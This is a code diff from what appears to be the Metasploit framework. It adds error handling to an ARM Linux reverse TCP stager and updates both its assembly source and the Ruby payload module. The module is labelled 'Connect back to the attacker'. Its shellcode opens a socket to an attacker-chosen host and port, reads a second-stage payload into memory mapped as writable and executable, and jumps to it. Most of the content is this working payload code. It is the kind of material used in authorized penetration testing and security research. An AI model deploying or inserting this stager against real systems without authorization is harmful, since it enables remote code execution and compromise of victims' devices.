Land #8543, add error handling to ARM linux reverse tcp stager
Tim
commit
03116d7933
|
|
@ -2,7 +2,7 @@
|
|||
@
|
||||
@ Name: stager_sock_reverse
|
||||
@ Qualities: -
|
||||
@ Authors: nemo <nemo [at] felinemenace.org>
|
||||
@ Authors: nemo <nemo [at] felinemenace.org>, tkmru
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
|
|
@ -34,20 +34,26 @@ _start:
|
|||
mov r1,#1 @ type = SOCK_STREAM
|
||||
mov r2,#6 @ protocol = IPPROTO_TCP
|
||||
swi 0
|
||||
cmp r0, #0
|
||||
blt failed
|
||||
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
mov r12,r0 @ sockfd
|
||||
mov r12,r0 @ sockfd
|
||||
add r7,#2 @ __NR_socket
|
||||
add r1,pc,#144 @ *addr
|
||||
add r1,pc,#196 @ *addr
|
||||
mov r2,#16 @ addrlen
|
||||
swi 0
|
||||
cmp r0, #0
|
||||
blt failed
|
||||
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
|
||||
mov r0,r12 @ sockfd
|
||||
mov r0,r12 @ sockfd
|
||||
sub sp,#4
|
||||
add r7,#8 @ __NR_recv
|
||||
mov r1,sp @ *buf (on the stack)
|
||||
mov r2,#4 @ len
|
||||
mov r3,#0 @ flags
|
||||
swi 0
|
||||
cmp r0, #0
|
||||
blt failed
|
||||
@ round length
|
||||
ldr r1,[sp,#0]
|
||||
ldr r3,=0xfffff000
|
||||
|
|
@ -59,10 +65,12 @@ _start:
|
|||
mov r7, #192 @ __NR_mmap2
|
||||
ldr r0,=0xffffffff @ *addr = NULL
|
||||
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
|
||||
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
|
||||
mov r4,r0 @ fd
|
||||
mov r5,#0 @ pgoffset
|
||||
swi 0
|
||||
cmn r0, #1
|
||||
beq failed
|
||||
@ recv loop
|
||||
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
|
||||
add r7,#99 @ __NR_recv
|
||||
|
|
@ -77,16 +85,24 @@ loop:
|
|||
cmp r2, #0
|
||||
ble last
|
||||
mov r2,#1000 @ len
|
||||
swi 0
|
||||
swi 0
|
||||
cmp r0, #0
|
||||
blt failed
|
||||
b loop
|
||||
last:
|
||||
add r2,#1000 @ len
|
||||
swi 0
|
||||
cmp r0, #0
|
||||
blt failed
|
||||
@ branch to code
|
||||
mov pc,r1
|
||||
failed:
|
||||
mov r7, #1
|
||||
mov r0, #1
|
||||
swi 0
|
||||
@ addr
|
||||
@ port: 4444 , sin_fam = 2
|
||||
.word 0x5c110002
|
||||
.word 0x5c110002
|
||||
@ ip: 127.0.0.1
|
||||
.word 0x01aca8c0
|
||||
@.word 0x0100007f
|
||||
|
|
|
|||
|
|
@ -17,7 +17,7 @@ require 'msf/core/handler/reverse_tcp'
|
|||
###
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 200
|
||||
CachedSize = 260
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
|
|
@ -25,7 +25,7 @@ module MetasploitModule
|
|||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'Author' => ['nemo <nemo[at]felinemenace.org>', 'tkmru'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
|
|
@ -34,56 +34,75 @@ module MetasploitModule
|
|||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 182, 'n' ],
|
||||
'LHOST' => [ 184, 'ADDR' ],
|
||||
'LPORT' => [ 242, 'n' ],
|
||||
'LHOST' => [ 244, 'ADDR' ],
|
||||
},
|
||||
'Payload' =>
|
||||
[
|
||||
0xe59f70b4, # ldr r7, [pc, #180]
|
||||
0xe3a00002, # mov r0, #2
|
||||
0xe3a01001, # mov r1, #1
|
||||
0xe3a02006, # mov r2, #6
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0c000, # mov ip, r0
|
||||
0xe2877002, # add r7, r7, #2
|
||||
0xe28f1090, # add r1, pc, #144
|
||||
0xe3a02010, # mov r2, #16
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe24dd004, # sub sp, sp, #4
|
||||
0xe2877008, # add r7, r7, #8
|
||||
0xe1a0100d, # mov r1, sp
|
||||
0xe3a02004, # mov r2, #4
|
||||
0xe3a03000, # mov r3, #0
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe59d1000, # ldr r1, [sp]
|
||||
0xe59f3070, # ldr r3, [pc, #112]
|
||||
0xe0011003, # and r1, r1, r3
|
||||
0xe3a02001, # mov r2, #1
|
||||
0xe1a02602, # lsl r2, r2, #12
|
||||
0xe0811002, # add r1, r1, r2
|
||||
0xe3a070c0, # mov r7, #192
|
||||
0xe3e00000, # mvn r0, #0
|
||||
0xe3a02007, # mov r2, #7
|
||||
0xe59f3054, # ldr r3, [pc, #84]
|
||||
0xe1a04000, # mov r4, r0
|
||||
0xe3a05000, # mov r5, #0
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe2877063, # add r7, r7, #99
|
||||
0xe1a01000, # mov r1, r0
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe3a03000, # mov r3, #0
|
||||
0xe59d2000, # ldr r2, [sp]
|
||||
0xe2422ffa, # sub r2, r2, #1000
|
||||
0xe58d2000, # str r2, [sp]
|
||||
0xe3520000, # cmp r2, #0
|
||||
0xda000002, # ble 80fc <last>
|
||||
0xe3a02ffa, # mov r2, #1000
|
||||
0xef000000, # svc 0x00000000
|
||||
0xeafffff7, # b 80dc <loop>
|
||||
0xe2822ffa, # add r2, r2, #1000
|
||||
0xef000000, # svc 0x00000000
|
||||
0xe1a0f001, # mov pc, r1
|
||||
# Generated from external/source/shellcode/linux/armle/stager_sock_reverse.s
|
||||
0xe59f70f0, # ldr r7, [pc, #240] ; set 281(0x119) to r7
|
||||
0xe3a00002, # mov r0, #2
|
||||
0xe3a01001, # mov r1, #1
|
||||
0xe3a02006, # mov r2, #6
|
||||
0xef000000, # svc 0x00000000 ; invoke socket
|
||||
0xe3500000, # cmp r0, #0
|
||||
0xba000031, # blt 817c <failed>
|
||||
0xe1a0c000, # mov ip, r0
|
||||
0xe2877002, # add r7, r7, #2 ; set 283(0x11b) to r7
|
||||
0xe28f10c4, # add r1, pc, #196 ; set first .word addr to r1
|
||||
0xe3a02010, # mov r2, #16
|
||||
0xef000000, # svc 0x00000000 ; invoke connect
|
||||
0xe3500000, # cmp r0, #0
|
||||
0xba00002a, # blt 817c <failed>
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe24dd004, # sub sp, sp, #4
|
||||
0xe2877008, # add r7, r7, #8 ; set 291(0x123) to r7
|
||||
0xe1a0100d, # mov r1, sp
|
||||
0xe3a02004, # mov r2, #4
|
||||
0xe3a03000, # mov r3, #0
|
||||
0xef000000, # svc 0x00000000 ; invoke recv
|
||||
0xe3500000, # cmp r0, #0
|
||||
0xba000021, # blt 817c <failed>
|
||||
0xe59d1000, # ldr r1, [sp]
|
||||
0xe59f3094, # ldr r3, [pc, #148] ; set 0xfffff000 to r3
|
||||
0xe0011003, # and r1, r1, r3
|
||||
0xe3a02001, # mov r2, #1
|
||||
0xe1a02602, # lsl r2, r2, #12
|
||||
0xe0811002, # add r1, r1, r2 ; set 0x1000 to r1
|
||||
0xe3a070c0, # mov r7, #192 ; set 192(0xC0) to r7
|
||||
0xe3e00000, # mvn r0, #0 ; set 0xffffffff to r0
|
||||
0xe3a02007, # mov r2, #7
|
||||
0xe59f3078, # ldr r3, [pc, #120] ; set r3 to 0x1022
|
||||
0xe1a04000, # mov r4, r0
|
||||
0xe3a05000, # mov r5, #0
|
||||
0xef000000, # svc 0x00000000 ; invoke mmap2
|
||||
0xe3700001, # cmn r0, #1
|
||||
0x0a000012, # beq <failed>
|
||||
0xe2877063, # add r7, r7, #99 ; set 291(0x123) to r7
|
||||
0xe1a01000, # mov r1, r0
|
||||
0xe1a0000c, # mov r0, ip
|
||||
0xe3a03000, # mov r3, #0
|
||||
# loop:
|
||||
0xe59d2000, # ldr r2, [sp]
|
||||
0xe2422ffa, # sub r2, r2, #1000
|
||||
0xe58d2000, # str r2, [sp]
|
||||
0xe3520000, # cmp r2, #0
|
||||
0xda000004, # ble 80fc <last>
|
||||
0xe3a02ffa, # mov r2, #1000
|
||||
0xef000000, # svc 0x00000000 ; invoke recv
|
||||
0xe3500000, # cmp r0, #0
|
||||
0xba000005, # blt 817c <failed>
|
||||
0xeafffff5, # b 80dc <loop>
|
||||
# last:
|
||||
0xe2822ffa, # add r2, r2, #1000
|
||||
0xef000000, # svc 0x00000000 ; invoke recv
|
||||
0xe3500000, # cmp r0, #0
|
||||
0xba000000, # blt 817c <failed>
|
||||
0xe1a0f001, # mov pc, r1
|
||||
# failed:
|
||||
0xe3a07001, # mov r7, #1
|
||||
0xe3a00001, # mov r0, #1
|
||||
0xef000000, # svc 0x00000000
|
||||
0x5c110002, # .word 0x5c110002
|
||||
0x0100007f, # .word 0x0100007f
|
||||
0x00000119, # .word 0x00000119
|
||||
|
|
|
|||
Loading…
Reference in New Issue